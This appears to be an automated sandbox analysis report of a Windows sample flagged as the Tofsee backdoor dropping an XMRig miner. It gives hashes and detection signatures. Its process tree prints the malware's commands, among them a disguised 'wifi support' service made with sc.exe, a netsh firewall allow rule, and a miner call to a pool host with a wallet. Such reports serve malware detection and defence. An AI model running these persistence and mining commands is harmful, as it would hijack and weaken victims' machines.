Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    26-09-2021 20:10

General

  • Target

    80861d706dfddca16e7b919acc16304bc5ff3d239be1f36fe3c0d07323a38001.exe

  • Size

    153KB

  • MD5

    e5f2853120da2cbc825d9f939cbff419

  • SHA1

    e8e9d04efeda444fd3c07ef60658969a6bfc14e7

  • SHA256

    80861d706dfddca16e7b919acc16304bc5ff3d239be1f36fe3c0d07323a38001

  • SHA512

    2204dc1bfa972c69b2517d0f8f300158650c44ae69ac53f2519450aeb80327ffe6958fcf948f6f3d3c8620ccf3912818a44ff3c4b5dca45a7849bf46626b493c

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

    suricata: ET MALWARE DNS Query Sinkhole Domain Various Families (Possible Infected Host)

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\80861d706dfddca16e7b919acc16304bc5ff3d239be1f36fe3c0d07323a38001.exe
    "C:\Users\Admin\AppData\Local\Temp\80861d706dfddca16e7b919acc16304bc5ff3d239be1f36fe3c0d07323a38001.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2396
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lynkieik\
      2⤵
        PID:2716
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\horpqqgu.exe" C:\Windows\SysWOW64\lynkieik\
        2⤵
          PID:3776
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lynkieik binPath= "C:\Windows\SysWOW64\lynkieik\horpqqgu.exe /d\"C:\Users\Admin\AppData\Local\Temp\80861d706dfddca16e7b919acc16304bc5ff3d239be1f36fe3c0d07323a38001.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3684
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description lynkieik "wifi internet conection"
            2⤵
              PID:2348
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start lynkieik
              2⤵
                PID:1248
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3928
              • C:\Windows\SysWOW64\lynkieik\horpqqgu.exe
                C:\Windows\SysWOW64\lynkieik\horpqqgu.exe /d"C:\Users\Admin\AppData\Local\Temp\80861d706dfddca16e7b919acc16304bc5ff3d239be1f36fe3c0d07323a38001.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1312
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3140
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1176

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\horpqqgu.exe
                MD5

                e8a5f646d5645cc13fadab17df8e339a

                SHA1

                690da9ae214b1f521daaa528838c1c08ec470e4d

                SHA256

                2970df91ac78a64749207369669fa8cb9fcfe4f1aa880eb6374ce2ee2ca9c551

                SHA512

                3628f6a242f672fd8e2356cac208fa35c64b784427dc5d249d49a45c34d11a48292a287493527eab89700a1d7696e24dd184a66df42d1769016128dd59b4ac44

              • C:\Windows\SysWOW64\lynkieik\horpqqgu.exe
                MD5

                e8a5f646d5645cc13fadab17df8e339a

                SHA1

                690da9ae214b1f521daaa528838c1c08ec470e4d

                SHA256

                2970df91ac78a64749207369669fa8cb9fcfe4f1aa880eb6374ce2ee2ca9c551

                SHA512

                3628f6a242f672fd8e2356cac208fa35c64b784427dc5d249d49a45c34d11a48292a287493527eab89700a1d7696e24dd184a66df42d1769016128dd59b4ac44

              • memory/1176-137-0x0000000000400000-0x00000000004F1000-memory.dmp
                Filesize

                964KB

              • memory/1176-136-0x000000000049259C-mapping.dmp
              • memory/1176-132-0x0000000000400000-0x00000000004F1000-memory.dmp
                Filesize

                964KB

              • memory/1248-122-0x0000000000000000-mapping.dmp
              • memory/1312-130-0x0000000000400000-0x00000000004AD000-memory.dmp
                Filesize

                692KB

              • memory/1312-129-0x0000000000500000-0x0000000000513000-memory.dmp
                Filesize

                76KB

              • memory/2348-121-0x0000000000000000-mapping.dmp
              • memory/2396-117-0x0000000000400000-0x00000000004AD000-memory.dmp
                Filesize

                692KB

              • memory/2396-116-0x00000000005A0000-0x00000000006EA000-memory.dmp
                Filesize

                1.3MB

              • memory/2716-115-0x0000000000000000-mapping.dmp
              • memory/3140-131-0x00000000003C0000-0x00000000003D5000-memory.dmp
                Filesize

                84KB

              • memory/3140-126-0x00000000003C9A6B-mapping.dmp
              • memory/3140-125-0x00000000003C0000-0x00000000003D5000-memory.dmp
                Filesize

                84KB

              • memory/3684-120-0x0000000000000000-mapping.dmp
              • memory/3776-118-0x0000000000000000-mapping.dmp
              • memory/3928-124-0x0000000000000000-mapping.dmp